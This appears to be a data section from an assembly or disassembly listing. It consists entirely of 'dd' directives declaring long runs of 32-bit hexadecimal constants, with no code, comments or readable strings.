		dd 38F2BC1Ah, 0DAB9C52Dh, 0DF862D04h, 29BFAE4Eh, 5018E12Ah
		dd 0BDEEFD70h, 0E79BBAC8h, 19AD0CD2h, 3916E9B0h, 534DA8A8h
		dd 0AA422024h, 6BAC8A0Bh, 233EB92Fh, 799F932h, 95283F58h
		dd 302D9F55h, 803D6E11h, 0E9058C2Eh, 18C2484Ah,	8CECD554h
		dd 0C64FABFAh, 660911E3h, 0A2D7D259h, 2F7307ECh, 86BA84D6h
		dd 0C13F12EDh, 354883E0h, 4A94918Dh, 1CA40BCEh,	9E45D92Bh
		dd 6CAB708h, 9355D1F7h,	5DFC5992h, 6A6F619Dh, 0F0131E6Dh
		dd 27FCB85Eh, 1A0DC21h,	0DE7D8CCAh, 0A4482139h,	0FB0A7D9Bh
		dd 51C4A93h, 0D5129642h, 1CD461h, 43C7EE2Dh, 0C56201B2h
		dd 0D53880A2h, 0AC08F499h, 7E5A7711h, 728242B2h, 2AE1875h
		dd 73322437h, 604401FAh, 0FE016CE8h, 80B0842h, 2D407F71h
		dd 486111CBh, 7C20FB18h, 2F32C880h, 5E58A52Dh, 12D70B99h
		dd 80B5B418h, 41A0D1B8h, 71B5158Dh, 0ACCED36h, 4BB340BAh
		dd 4CAE1101h, 0D3F7DD87h, 0BB530883h, 4DD97C44h, 0A8E9F009h
		dd 1FF2E05Bh, 5B47AA01h, 7FD501A9h, 74A40589h, 0F5502745h
		dd 0C3BA5267h, 0F850C5F2h, 7687393Eh, 1558FA27h, 4FFA50B5h
		dd 890D8929h, 72F9E945h, 0A8E2D760h, 5DC75457h,	137A335Dh
		dd 0D6927271h, 126678DBh, 0EB771C68h, 0DB087869h, 4EE89DD3h
		dd 618271A6h, 2C632F8h,	0F5D1D701h, 4C37F16Bh, 0B82CE951h
		dd 25BB981Eh, 49F85902h, 53653D7Eh, 58B2B6ACh, 85F9655Dh
		dd 0F25AF468h, 0E8E9C4B1h, 0E12D31D0h, 0FA22518h, 7201176h
		dd 0F9685E0Bh, 359A5747h, 0BB84D38h, 78E63558h,	97F8C24Ah
		dd 0FA510BE0h, 22E91609h, 1E6B90F8h, 2B952C08h,	2732897h
		dd 6F73F475h, 0AAA004E9h, 28EDF280h, 0CF5AD038h, 0A84F1BB2h
		dd 29598272h, 0EA4BC1D5h, 0B8D4D725h, 5A090022h, 1D320572h
		dd 3598CFEBh, 8D890C54h, 847F0B49h, 7E83669Eh, 1244AE74h
		dd 0ACFE8852h, 0D85B2F42h, 0A778207Ah, 9025097h, 6C8A719Bh
		dd 0EC97468Eh, 0F53DE86h, 0AAADE256h, 0F8294212h, 27068EF6h
		dd 1EC4205Eh, 5B2438E8h, 0C856EB11h, 54A07362h,	63FC4B70h
		dd 8B069505h, 0A8098E0h, 0E92E5B08h, 7B6627CBh,	9A09F0B0h
		dd 5D0FF76Ch, 0D039D184h, 5C686642h, 789A42F5h,	0AFF91B09h
		dd 1ACAA9BEh, 8E23419Dh, 88029E79h, 5945A867h, 57043F76h
		dd 0A3937CE9h, 0A5E1DD68h, 0E9082C2Fh, 2CA1B32Ah, 0A1EC544Ah
		dd 25584505h, 14CA806Ch, 5E4E6713h, 256B4EF0h, 91E2CA8Ch
		dd 0FF9BC005h, 0DD7E352Dh, 0F2642E12h, 3149FDD7h, 44343BB5h
		dd 6F3009B9h, 89FF7682h, 0C196D7E1h, 72B26B25h,	4D5E7802h
		dd 0A2602236h, 0AC830E0Ah, 0C06962BFh, 2F72EDFFh, 8F433C68h
		dd 2051A3AAh, 266EBE81h, 0EF303A1Dh, 27F144Dh, 9101ABB5h
		dd 29461B5Eh, 1EEB44F5h, 3A8EED08h, 2E8FB6Ah, 77F25344h
		dd 8B02FB5Ch, 48565B03h, 5697479h, 0C7E963ADh, 7FA4CDAEh
		dd 91BAFA64h, 15D95B44h, 0BDD15688h, 24A910Dh, 6EC063CDh
		dd 68022503h, 0E926F95Bh, 224EA40h, 0BFDE2C8h, 0D7AC1BF4h
		dd 5A183320h, 0C968D589h, 397282E3h, 9A6F1020h,	0E2EF4B64h
		dd 0A46C2DE2h, 0CDEF44C6h, 0EF0804AFh, 85E9F4D1h, 535E367Ch
		dd 0A5F2F220h, 0C811DDACh, 0C3134A06h, 464FCAC0h, 17BF7019h
		dd 0A1E6B9B1h, 965C2C38h, 9AE94C44h, 1CFBD794h,	0E5AFFC8Ch
		dd 867CDDC2h, 8066BAC9h, 872D57D8h, 41D18320h, 9E802F1Ch
		dd 580B4766h, 3507849h,	921A1EFDh, 10D51B5Ch, 4FB508B0h
		dd 0B90CE5FCh, 1D2BE67Ah, 2E1801C5h, 0DE9774Eh,	90D53AA4h
		dd 4801D697h, 0B02C55F3h, 3515825h, 98B562h, 0BC7CE268h
		dd 71D74750h, 0E1B920B7h, 1EE02CB9h, 3F414938h,	71962E01h
		dd 2ECD0184h, 0AD920A35h, 942D75Ah, 1C4CA556h, 1E959453h
		dd 44CA8901h, 80B59EFDh, 5838B3C5h, 0C202F27Bh,	2B6C399Fh
		dd 346D14E0h, 181B4930h, 3E764D8Bh, 0E2864A0Eh,	0F45E3166h
		dd 113CEA1Bh, 0E756004Eh
		dd 0E90CD650h, 4CB7330Ah, 12A42213h, 9B95C8F0h,	10CCF17Eh
		dd 0E971602Bh, 1CBD7DC3h, 7E504C1Eh, 0ECB69916h, 74F78BAFh
		dd 7F1202D1h, 8B5791D1h, 785B8963h, 806917FAh, 17EFBC1Ah
		dd 6B88DDA7h, 68C80B0Fh, 0BCE65B46h, 1C6D782Dh,	4917FC5Fh
		dd 4B9E84CBh, 0E5C80FC5h, 3D2668F9h, 2C005578h,	0E9CB6735h
		dd 3CCABC58h, 9817B405h, 0A895C214h, 64C60009h,	9831651Bh
		dd 5DD2E3BAh, 3055FAB1h, 640F2673h, 82BD17C6h, 0FF431367h
		dd 0A46F0082h, 0BED0E5D7h, 0C425E694h, 924FA196h, 39AED62Eh
		dd 0E93C2406h, 0CE108E5Eh, 3BF6029Eh, 5716F4D6h, 88765002h
		dd 0C25DB2CAh, 970344CBh, 0C33C6B0Eh, 0D3BF2535h, 6BEC2989h
		dd 348676C5h, 57A80220h, 0FAE940C7h, 0DE7C09F5h, 5C4A54B3h
		dd 965A6DB4h, 93E9589Eh, 0DE44B94Bh, 0EDE908D5h, 8D364513h
		dd 7B09FCCBh, 7C642AC9h, 0A5660897h, 7A2D5F01h,	0AB202C6Dh
		dd 0FA17D3F6h, 2BF20A00h, 0F35087Fh, 7D117A5Bh,	0E73E9C41h
		dd 6E7C6166h, 0B62AE12Dh, 8FC662C2h, 0A23EE047h, 5B129DD6h
		dd 47605342h, 7AFC4DA5h, 0B26C974Ch, 0F9FE8158h, 0CA78161Dh
		dd 9B46FF00h, 0DEE95967h, 2C0D1B59h, 58889501h,	0B76809FAh
		dd 0E97090FEh, 0A628B492h, 26732668h, 7DB40065h, 410D6855h
		dd 47EFD9B8h, 97EAE6D5h, 0F688C495h, 43EE6708h,	0ACCB75DEh
		dd 0A5BD059Fh, 92C0722Fh, 2D3CA8CDh, 145055EFh,	0A44B7390h
		dd 14908B41h, 0BA2D4D33h, 6B36550Eh, 0F8940C59h, 0B880021Dh
		dd 2AE83465h, 548880DFh, 575F0307h, 80661F5h, 3ACE091Ch
		dd 4A6E4F5Ch, 24BB5A20h, 13AFD831h, 332BFC3h, 0B97C7466h
		dd 0CA900120h, 90A71920h, 4FEBB5FDh, 8590849Ch,	5F68B9C5h
		dd 40D69EF2h, 0C0F4B1B4h, 40E703E1h, 0DCB05098h, 7D5B01B0h
		dd 5EE9574h, 0C0150591h, 6F7CCD87h, 7C4AF531h, 7AA5E5D1h
		dd 3558DE40h, 0E941C505h, 4D06BA4h, 0F350A2B1h,	0CA508DCDh
		dd 5F5759CEh, 0ED98D568h, 0C0AD38D8h, 25587766h, 7F44BD13h
		dd 0B51019B7h, 93239B41h, 3B0C103h, 4D4D1F7h, 25060015h
		dd 0CB056F01h, 0C6BD2F1Ah, 27002B59h, 0F7C26602h, 0B30B0D9h
		dd 437F24A3h, 26A8847Fh, 5A2E8DACh, 3C0708D4h, 0E58282B7h
		dd 60A05C10h, 65725685h, 9425B79Ch, 4106B08Dh, 29092FA0h
		dd 30754032h, 445B9DC3h, 35D97C27h, 6A2DBBF1h, 1604A72Bh
		dd 0C3B5C08Ah, 25CF3C8Ch, 99DD59Bh, 63D67442h, 0E1286CDh
		dd 4C4BB450h, 661F24C9h, 8EA545C3h, 4244F4Fh, 9C20BB6h
		dd 7D3584Bh, 1287B6EBh,	2734E2FCh, 814CFC4h, 10C75D2Bh
		dd 800E9796h, 0C46751F4h, 3BC263F0h, 0EADBE283h, 6D3058A9h
		dd 0DDE91673h, 7C87D84h, 40AF4F7Ch, 315DE204h, 0E3B0294Bh
		dd 0F85AF20Eh, 0EB82F32Fh, 0A40FC5EBh, 620C0343h, 9A481573h
		dd 359D2EB2h, 0E2CB8430h, 90E2B8E3h, 32196019h,	0B04DBDBFh
		dd 91B06F4Fh, 0ACF0581h, 0AB188362h, 78561F02h,	0A90BF717h
		dd 0D1C7B800h, 0E3051D8Bh, 6CE9FE89h, 5E2506A8h, 0E9E19C79h
		dd 28779C1Eh, 7E060710h, 1F28D649h, 750950FDh, 60B9DE3Ah
		dd 7F07447h, 70F55D5Ch,	1A0B5C73h, 0FAA760E9h, 47571261h
		dd 50FB057Ah, 109BB30Dh, 0F7587E6Bh, 9D201A4Ch,	5C0A5D4Ch
		dd 9D312450h, 509ADD0Ah, 302A5649h, 0B7019D5Ch,	0E3D14001h
		dd 0D2F7D387h, 1AF08A0h, 6D9307B0h, 743FE942h, 0C2A05F76h
		dd 607F29EAh, 71DF97A0h, 4E326330h, 3D683526h, 5BA72133h
		dd 1B5073C2h, 0EB505395h, 19C11C1Ah, 0F7DF6AFEh, 0E9A6304Eh
		dd 28B9C65Eh, 541C68E2h, 0CB822657h, 0C968D4B0h, 0D6306C4Bh
		dd 0C7962AAh, 0D086E937h, 0DB1EB55Ah, 0D6E7C580h, 89A81FF5h
		dd 0B25622B8h, 0FCFF82C9h, 96EFFCC7h, 5A28AD9h,	0B35310B6h
		dd 1BADD5B1h, 972C1E58h, 0E15BBE7Ch, 0D274C30Ah, 0B4711935h
		dd 8B0D2C8Ch, 0D3214DE1h, 11732617h, 36F94AC4h,	56C1FEE4h
		dd 0AACF7AEBh, 2C06C58h, 0E928B652h, 0ACC8D898h, 0B03D7112h
		dd 5F153D7Fh, 688264E3h, 714628F6h, 0CF095279h,	9057A64Ah
		dd 9BE4470Ah, 2375125Dh, 0C9FAC856h, 3001E1FCh,	0C6FE5BDEh
		dd 9E8764E8h, 1AF4491Fh, 0D759CA62h, 0F02281CDh, 0E91AC690h
		dd 0DD4467D1h, 68FEE416h, 5055CB2h, 315F6308h, 57A252A8h
		dd 3FDEC369h, 5C129C62h, 0A35812A5h, 0ED856F21h, 0AB3079A6h
		dd 255A01C3h, 79683CD8h, 0E3A262Ch, 57426514h, 1A2E01B8h
		dd 0D3018E54h, 2C31D9FFh, 4AC13A84h, 0FD047D56h, 8A9D86AFh
		dd 0E7589517h, 7423F827h, 9F5D6A6Eh, 0F35C7FB1h, 5437F680h
		dd 22BD076Dh, 75801017h, 4672EE22h, 4909E075h, 0E39A8389h
		dd 0FB9DFB96h, 86130B1Ah, 6C304D39h, 0D88C019h,	970932C6h
		dd 0B1B41D84h, 343D6F42h, 0AA30657Eh, 39E98520h, 0B84A4EFh
		dd 51D27E09h, 88C72860h, 395B2502h, 24FAE1E9h, 2A0582EDh
		dd 262CA7A2h, 0D09703F5h, 0C1CAF8EAh, 2FE9F0FEh, 0DB7AA6D3h
		dd 651DF3F0h, 0F2834784h, 0E18E5811h, 0E43EDAF7h, 99167136h
		dd 8DED1A32h, 2F9E04Ah,	0A5BCE795h, 0E627E45Eh,	0E7254928h
		dd 5277BF00h, 0F7815439h, 0C6AD8801h, 5FFE29ABh, 2F143A77h
		dd 0DC80D3BAh, 213E701Ah, 0F768CCC2h, 80C5D14Dh, 204C4F90h
		dd 8016E381h, 8400B651h, 0A22B34CBh, 1C4C9036h,	0A564315Eh
		dd 0D98AEEFCh, 99A0E2F8h, 0B0663326h, 0DBFC056Bh, 3FC4BC20h
		dd 5A7348DAh, 0E203B152h, 7FEF6851h, 78592981h,	7A066C6Ch
		dd 218D0EF1h, 0E1C71030h, 0EFDDAE22h, 2A59D082h, 75A3BA7Dh
		dd 65EF1F90h, 0CCF962D6h, 74D8E9F1h, 511D508Fh,	0CD07FCB9h
		dd 79D28131h, 0A94D430Ch, 90261140h, 26C1680Bh,	285B0166h
		dd 0B5294283h, 95477E04h, 6044BB13h, 8FEE5954h,	0D2C95CDFh
		dd 16896308h, 3ACEC9B8h, 7E459AD2h, 8CC681CAh, 0D83C4337h
		dd 0F4A42E6h, 0EE006FF8h, 4C313F97h, 0AB90D6F7h, 6543BA4Bh
		dd 26277D5h, 882FC626h,	5758A39Dh, 66024787h, 5A1FB368h
		dd 5351263Ch, 177E1021h, 604F75Eh, 0CA043DBh, 36442575h
		dd 385E65F8h, 0D430A601h, 0E3C15A66h, 648E097Ah, 0B88EAE7Dh
		dd 0B159BA06h, 0BB26C81h, 0AF42C07h, 1CAC5AE9h,	3A501F3h
		dd 2683862h, 0F2303F54h, 7D142657h, 150A2573h, 66FBCF18h
		dd 5E5E7D72h, 16C66FE4h, 9855C43h, 0A6D82D93h, 0D4CAFE27h
		dd 9079FAFh, 5529ABDAh,	272C0F75h, 5ACF8101h, 50528103h
		dd 7E704526h, 6A824139h, 0F36A68E1h, 0E29E6CE7h, 48C816F1h
		dd 26EA0647h, 809D5D8Eh, 7121D157h, 7DFB40Fh, 407BDECDh
		dd 0F041E962h, 2C0C949Bh, 4CEF69E4h, 94060103h,	124D8531h
		dd 0E4E90509h, 5BED3023h, 0C0D0017h, 66A3F381h,	0D8A021A6h
		dd 0AB2F71F4h, 352BF82Dh, 0EEB10A0Fh, 0B2C3B800h, 0D630D611h
		dd 2D49BF2Ch, 3E7D8231h, 6768564h, 0AC204EEh, 0EFEA1802h
		dd 0A16305B5h, 82C7013Bh, 0A37D29DEh, 2C7B0D7Ah, 589FCAFBh
		dd 695EDCE9h, 3DE5ABC8h, 0ABAFE230h, 94C1AB20h,	3664EA92h
		dd 0C240B516h, 20E42267h, 664F7B98h, 0BEF99653h, 0ADDE885Fh
		dd 0B5F7AE40h, 6986DF68h, 93117A26h, 2405900h, 53F2D61h
		dd 0E92E39CFh, 0CB43AE80h, 0D85365AAh, 9956E6D1h, 74360BCCh
		dd 0CAA0F15Eh, 0EE6870FBh, 63A36A0Fh, 0D180F6E9h, 1E7754BAh
		dd 0D752475Bh, 681149F1h, 94502BDFh, 20D9B84Ch,	0B970A7C6h
		dd 90B7009Ah, 4B1868D5h, 504FE676h, 0D94186D2h,	2B43C07Bh
		dd 7B1325C2h, 0A0CF521h
		dd 0B050322Eh, 426009C9h, 3D2737AAh, 16132E5h, 4C04C0DDh
		dd 63C2DD6h, 5A2FCA56h,	0AE352780h, 0DC691F54h,	54C19DDFh
		dd 0D7E1EACDh, 29AF058Ah, 65C92FDFh, 40563F5h, 0A6115B26h
		dd 0C3680C9Ah, 40904F19h, 0D04801FEh, 51F82788h, 0EEC83Ch
		dd 8FC0506h, 9677FE9h, 0EB635116h, 0FAC32CF2h, 0CE4027C8h
		dd 4CBF867Dh, 4045AF1h,	0C2D77F37h, 0E7E4C5ABh,	2FA68720h
		dd 0A3A4F021h, 0E8C10083h, 7AC8310Ah, 31795B68h, 7B07AD6h
		dd 0DB2CD801h, 0F12079C9h, 90CCBF7Bh, 5C161142h, 0A92DBEB6h
		dd 0B60B2A35h, 2D95B65Bh, 0D74442DEh, 5C400865h, 92F7B6E9h
		dd 135AB764h, 9BAAC5F4h, 0A5C865D7h, 0E429C718h, 0DDC58082h
		dd 0A12FE356h, 397B26D5h, 82A103E5h, 0EEA3302h,	0DF79D755h
		dd 57568860h, 0F52EE969h, 0C142F8BAh, 0E334C6A1h, 9F472C28h
		dd 0DCE15353h, 0F091C07Eh, 1C5B9DDCh, 5D8906A0h, 6E61C7FAh
		dd 603A0364h, 0C1EAF284h, 9D5B6F2Ch, 84CB742Fh,	0FEC4B7E9h
		dd 6E82A035h, 1948D2D0h, 6EFE380h, 0C05E02E4h, 73885B63h
		dd 20BF90DAh, 0BE0178DCh, 6001A99Ch, 0E68F129h,	0E9B1B0D3h
		dd 209AE127h, 0B205F3E1h, 807A971Eh, 61E7E504h,	0C6806C2Eh
		dd 1334C873h, 2DEF893Ah, 90043015h, 7F434D17h, 866900ECh
		dd 0F65B6258h, 61629C91h, 6CC18000h, 7662C6B0h,	0CB286606h
		dd 0A512ADC9h, 0C441104Eh, 0CCBFFC95h, 0F840E635h, 72D82D68h
		dd 24B82ED1h, 95735588h, 0E9912CFAh, 5AE36525h,	4EAA17C6h
		dd 0F52300D6h, 3E301BA4h, 0E9E82904h, 0B130D72h, 9D5F106h
		dd 5A610B4Ah, 0B3F605A0h, 0C02E6E29h, 0EC0C7E84h, 0EEE96509h
		dd 0F8D027B8h, 0C2E17774h, 3C584024h, 5FD42A68h, 20CAB050h
		dd 5B7B9934h, 62CFCE50h, 0F526209Fh, 4D904B45h,	23480C48h
		dd 30C1103Ah, 0AD4111FFh, 95BE3E45h, 0CD12AFE1h, 7653E1Dh
		dd 265C007h, 370FBF16h,	158AA4C9h, 2C7BF1B9h, 280BBFB4h
		dd 104AB7FCh, 0DA4A09F2h, 60EF3356h, 65AF2D48h,	7C372F30h
		dd 4AB25BDBh, 0D2940415h, 2D7E1409h, 659152D8h,	0CCB88FDEh
		dd 895FC852h, 0F130112Dh, 207D705h, 7C709222h, 3DE3E2F2h
		dd 10ED0047h, 54FB977h,	21391398h, 1064B825h, 0BD029E36h
		dd 1A895707h, 78E5A880h, 0E91349E1h, 37EFC408h,	0E0AE947Fh
		dd 47B85D6Ch, 2A9F40B0h, 5F92C963h, 0B825B4A6h,	0C45DC5Ch
		dd 788088B0h, 0F61B97C5h, 42CFEDC9h, 30C86BDDh,	391EAFBDh
		dd 84884378h, 0F742501h, 59929C85h, 6294D90Bh, 0B8C748Ah
		dd 0E720A2D4h, 103D241Ah, 7EAC11Ch, 0F102E2CBh,	93E98595h
		dd 1A6D5685h, 0F6006558h, 162F3078h, 8F4DDBF6h,	7E945E17h
		dd 0A46857BEh, 3912999h, 73A493Ch, 28B0E781h, 7D5552A2h
		dd 0E2FDC112h, 8925FCBEh, 6402C801h, 4490E3CCh,	0C695C5C2h
		dd 0EC013202h, 0EADDC357h, 0BFCE7D3Ah, 9670E915h, 0C57878CBh
		dd 0B96C2830h, 0FDA6D80h, 56464E2Eh, 22F00C4Bh,	270F4849h
		dd 5D80958h, 14F838ECh,	0BF7010B2h, 9202AC7Ah, 2CB9B551h
		dd 8AD74A0h, 9388091h, 0D15B5AD0h, 6D20BCF3h, 16BF214Ch
		dd 4200EAD1h, 719C028Ch, 40D75C09h, 0E35C1825h,	69B1F173h
		dd 0D14C417Fh, 0EC7A637Fh, 71B579FDh, 20F20715h, 291D1262h
		dd 13C7C09h, 14B86B58h,	0AE017F59h, 1B02DA98h, 2DE98370h
		dd 471CC2CBh, 2DC0C840h, 535C8702h, 815E8F58h, 8E74454h
		dd 83097ED7h, 2EB520EDh, 32654350h, 6422DDF7h, 4AE4236Ah
		dd 1E99252h, 0AC2955E5h, 39F05268h, 0F568B7AFh,	0F45B3093h
		dd 0FEF0F4A0h, 313F48B2h, 7295CC20h, 81F9FC5Eh,	8A953028h
		dd 2062795h, 0ECD042E5h, 44FA8BBh, 0C14B4631h, 0C36180EBh
		dd 282CD1B0h, 2B1C6E0Dh, 1693F05h, 0E3B5C8EBh, 0AD768792h
		dd 59DCBB25h, 0B93D3FD7h, 0EBD35948h, 8D8C6B23h, 0EB5199EFh
		dd 0B9D728DAh, 0A748082Bh, 2C5D5BE8h, 0B19A4298h, 7EED682Fh
		dd 27B4C063h, 81023C23h, 47656C5h, 0DF85DD66h, 4B40AC9Ch
		dd 9AC450E2h, 0D76AA18h, 79BE2736h, 0FC2D3656h,	0BAE96195h
		dd 0E4FD65B1h, 0D74B68E3h, 0D480B9ADh, 81470906h, 7E65CA07h
		dd 0E2607A96h, 5A1535A8h, 802C4108h, 0BE867576h, 0B3108128h
		dd 9237E972h, 3110F379h, 685F05EDh, 80442162h, 5E13261Bh
		dd 5053C9C0h, 0C0C1ED2h, 0C098437h, 192C03FFh, 5D5E55A3h
		dd 1C56CEF8h, 4C57222Dh, 809CFEEFh, 40719149h, 85172D07h
		dd 0D6E2AA0Ah, 0C2445E95h, 167FBC9Eh, 9752A05Ch, 0F8018077h
		dd 62E52D5Ah, 0CD5E7A36h, 36806A3Ah, 0BC4FA154h, 0B62B881Eh
		dd 0C3BF5700h, 2412A435h, 2C0C7C29h, 0F5A10D8Dh, 0A8E07A91h
		dd 0CD425F85h, 0DF382BA8h, 0F7F44F1Bh, 0A7407825h, 40F4B28Bh
		dd 0CF5CB46Fh, 0C67E27C0h, 7C4C2093h, 0A3105AA0h, 5C6C51A0h
		dd 0EA684526h, 0A6DAC02h, 6AB7616Bh, 574C8304h,	0EC780D81h
		dd 0D582FBC6h, 7BAB6BA0h, 5F4F42BAh, 0BA250BD8h, 9E40A070h
		dd 5AC90121h, 405EF009h, 103CC805h, 0CE32D4F3h,	62B0D82Dh
		dd 8AD5804Bh, 0B8716F6Bh, 97C304C7h, 0EFCF7FA3h, 0B4354291h
		dd 2544F67Bh, 556A8B63h, 2FF96BBCh, 0BB172FB2h,	248B3B5h
		dd 0F238F7EAh, 3B0A7CD0h, 9279DDAFh, 73DC48A7h,	4F19740h
		dd 2074A320h, 9C82FEB6h, 5016EB22h, 53889F7Fh, 535E010Ah
		dd 2AB399E9h, 78E6128Dh, 25B8B879h, 0C7CAEE01h,	0A56576Ah
		dd 147360Bh, 4203E2F2h,	817FEAh, 68F2875Ah, 0B74174B2h
		dd 1D0F0230h, 7E6EE54Fh, 0C8740425h, 0BB2DA21Dh, 1CFBF948h
		dd 2630CE75h, 304A12ABh, 0A301FE07h, 129FBC62h,	94A133Ah
		dd 63A98C9Bh, 666FC1FCh, 65B765Fh, 0BB3D84C9h, 4F0B8671h
		dd 3ACCACCh, 2C67DF0Eh,	8CAF73Bh, 5417FA73h, 399038AEh
		dd 0C45ACA40h, 0E719BD3Eh, 0ADB15B2Ch, 0F39E223Bh, 10E4EBC1h
		dd 0E6235AEBh, 45F9BF09h, 510BEA2Ch, 0DFB9770Dh, 104D2DD2h
		dd 0B9025B15h, 7CA4458Bh, 0DD378480h, 0FEEB2060h, 21E198D0h
		dd 5D877F11h, 5D58C102h, 0F8B56E5h, 0EB46481Fh,	475E1322h
		dd 3A0CB05Ah, 0B8A2204Ah, 0DF18E490h, 5BDE0F16h, 0C9D92FC5h
		dd 0EDBE28AEh, 0A1109413h, 4214B50Bh, 8E3D3D0h,	5B149234h
		dd 89F2C01Dh, 0B54C587Ch, 539D5B46h, 965EA7B3h,	544184FAh
		dd 7FA33D82h, 0B48154C6h, 834F6C10h, 0EBB96E9Dh, 2A0E0549h
		dd 33D5733h, 0BD8F4ADh,	743187C4h, 0BF17D4A0h, 570BF87h
		dd 1B91D8Eh, 659C711Eh,	7BD877E9h, 8F5F1AF7h, 1DE85ACFh
		dd 0A8777D8Eh, 0E1B5C625h, 505202B1h, 0E4D018B4h, 3798D61h
		dd 5A44B1ACh, 2FF16047h, 633063D7h, 7B510B78h, 59C00962h
		dd 3004B5E1h, 4149447Fh, 9BBD5D81h, 8DC33B83h, 0AAFD2879h
		dd 4B081950h, 9AA2A6F1h, 55D8EAECh, 5621D559h, 0C94F73Bh
		dd 206211E9h, 2E8209BAh, 598E37A1h, 890C2ACCh, 2E88D897h
		dd 650DF6F8h, 2C0BA531h, 0CEC64EFAh, 2BC5BFC6h,	59137826h
		dd 0EEC880F8h, 2932663h, 0C043EFD5h, 6F5482CBh,	0E5C82109h
		dd 42472CACh, 0F15166F6h, 0ECC3A88h, 0BEE5D789h, 5A3FE280h
		dd 0BEB54FF2h, 0CC5B69C2h, 8D6817E3h, 0A40BF804h, 0B5309BDCh
		dd 565CEA89h, 0B44549C9h, 0AC6A136Fh, 4897D122h, 37F06EAh
		dd 62FE558Eh, 0FA010D7Bh, 5B8B9A68h, 5929BE01h,	0BAA9E949h
		dd 9881E454h, 0DC04A280h, 43092DE2h, 0EC751A60h, 87E2C14Fh
		dd 2E655B09h, 70434C4h,	0C7A12DE9h, 4FDA217Ah, 0C6EB680Ch
		dd 0F27B6E5Dh, 0B5204F57h
		dd 0C0B7F438h, 0A4C6C897h, 9FDB8358h, 0B2ACAACh, 0DE659368h
		dd 0DFB96032h, 224EB501h, 0A067E604h, 56D0E4D1h, 307F8177h
		dd 0F155F4CEh, 212F8BABh, 0D47DC8Dh, 3EC1F0D3h,	0E9090ECEh
		dd 9555EDC9h, 0CF680673h, 6720336Ch, 2F389099h,	0C39801C6h
		dd 452F14E8h, 20E892Ah,	0F528C036h, 0C52F2340h,	7FD112B7h
		dd 0E925DAB4h, 849FAA78h, 0A1D888h, 147F6857h, 5F4C3B9Dh
		dd 7AB80323h, 1220582Bh, 0EE6B6D1Ch, 2A514C60h,	81741EC7h
		dd 123C4E3h, 0C09C008h,	320CC14Ah, 0E310F1E9h, 8C724E69h
		dd 5740CA9Dh, 0EE081358h, 465A0059h, 0C03DEC80h, 7295E47Bh
		dd 0E9E60996h, 1D576853h, 0D90C9017h, 527FBA14h, 175CAB20h
		dd 7C3A12C4h, 0D448F48Bh, 36124248h, 13580148h,	2044D027h
		dd 0A0995CD3h, 0DDD86607h, 14FE0945h, 783B2589h, 9F96CBFh
		dd 578512CEh, 47EAAF07h, 4C70699Fh, 16BDDEB0h, 0E8F39531h
		dd 157038CBh, 447391BBh, 2E91AD21h, 5714050h, 0A9A62052h
		dd 2711FEF9h, 0FD00CAD6h, 1B9D6DAh, 0BFCCB7FBh,	292140E1h
		dd 755AC43Bh, 70048E1h,	0B9FA2BE9h, 7FDAA7FFh, 277EDD49h
		dd 0E86B5A5Ah, 2813C4D5h, 9596C2F8h, 231C5F0Bh,	930848BFh
		dd 0FFE93180h, 40887806h, 86DFF6B8h, 0CEFEF719h, 74E66808h
		dd 0E9B3C2F2h, 78904A72h, 5B554512h, 0E6C001BFh, 2AA7DCE3h
		dd 6545EBB1h, 0DD4B0F27h, 7481C110h, 0EEF52080h, 0B6AC5AC3h
		dd 65F15ADDh, 44DF8F30h, 7D79F185h, 0AC3CF43Dh,	6884FDF0h
		dd 11ED58C2h, 169942C4h, 0DA16F21Fh, 49EAFF64h,	0C0E06D00h
		dd 0DA27875Fh, 5BFF8753h, 467FADD2h, 0B7E1B7E2h, 4B602C41h
		dd 0CD86C4F6h, 128451D8h, 3320CF84h, 9ABA1CC6h,	8178C048h
		dd 451917CAh, 0F1033A5Eh, 82A665F2h, 4B2EA85h, 59078DF3h
		dd 0EBA5725Dh, 56406DD6h, 4F55BC68h, 5E3449DEh,	0FA922A45h
		dd 12DEFDFCh, 0EBEB90A7h, 763071A3h, 91190C11h,	0A8B65A79h
		dd 0A7C05BEBh, 0C5770C68h, 0F7B27549h, 0B4E64A6Ch, 22BFEA18h
		dd 561E272Dh, 0F9890A9Ch, 5735178h, 3649EC68h, 634134D7h
		dd 723ED36Ah, 0FBE8115Bh, 360CFBB7h, 0E70ECEBDh, 0C1103275h
		dd 0AE4FEAF6h, 64D6C27Fh, 0B3406E74h, 0BD54BC06h, 882EE72h
		dd 9F76A702h, 0D6438209h, 37509E1h, 0AD71CF8Eh,	0E91AC8EEh
		dd 7A02D44Bh, 0FF07F280h, 283C2D02h, 0FE81C0F5h, 0A720F5CAh
		dd 0A20876DBh, 75AD6ABAh, 3517FAE5h, 529321ABh,	0E2B30005h
		dd 31EB3980h, 0C0A8CB83h, 60108E3h, 0E9D3F604h,	2C3F9A1Ch
		dd 0EEFC511Ah, 2D346E5Ah, 0B87D8BECh, 4EE20BDBh, 81DF5AF6h
		dd 37E941D0h, 0A94A523Ch, 0E48BC5FCh, 51C4CEBBh, 766B6DCFh
		dd 0C9061A5Bh, 0FEA6C158h, 13556BBBh, 0EC4C576h, 507694A9h
		dd 5D6D2601h, 5285C676h, 56463354h, 0EA23C3D5h,	896F2AF8h
		dd 0E292CA61h, 0FE10C67h, 5FCCC8DBh, 0EB2D50EBh, 2F0CC2ECh
		dd 285AD689h, 2FE5F89Dh, 61E673C2h, 0F71A7DB1h,	4B027AEFh
		dd 0C697436Bh, 68CB6A12h, 6ECEEEB0h, 599F4A7Ah,	14A23D70h
		dd 1771BF09h, 9C68A43Eh, 4C210C8h, 0E6E06763h, 9498AA01h
		dd 97C34C29h, 0BB7EBA05h, 21608716h, 406C3A56h,	466368D8h
		dd 0BC5B862Eh, 5C8A4C09h, 21D3E42Eh, 718F6FFBh,	914080F3h
		dd 8F40532h, 2203622Ch,	6A9007A0h, 1C793820h, 251D7268h
		dd 0B7851C57h, 0BDAC1979h, 1419BF40h, 4F270977h, 0D608D7F7h
		dd 0B5F50BFDh, 7ED877E9h, 0C20562Ah, 394B0B07h,	0D1D15960h
		dd 94CF314Ah, 0C3659B81h, 915DDB07h, 0D0205DC4h, 0CD165E4Ah
		dd 87996077h, 9BD44B41h, 202F925Eh, 5F62537Ah, 90CAE844h
		dd 269045CAh, 0A56C8897h, 3CD39918h, 532FAAA8h,	17EDE788h
		dd 165342Bh, 2422443Eh,	93E43A21h, 0AF04F5D2h, 0A2EDB0CDh
		dd 0B252D851h, 5BCA80D8h, 0B64E82E7h, 7921AB77h, 0C68358C6h
		dd 92E90116h, 0E352C387h, 0E2926852h, 0B14B006h, 65F63AD8h
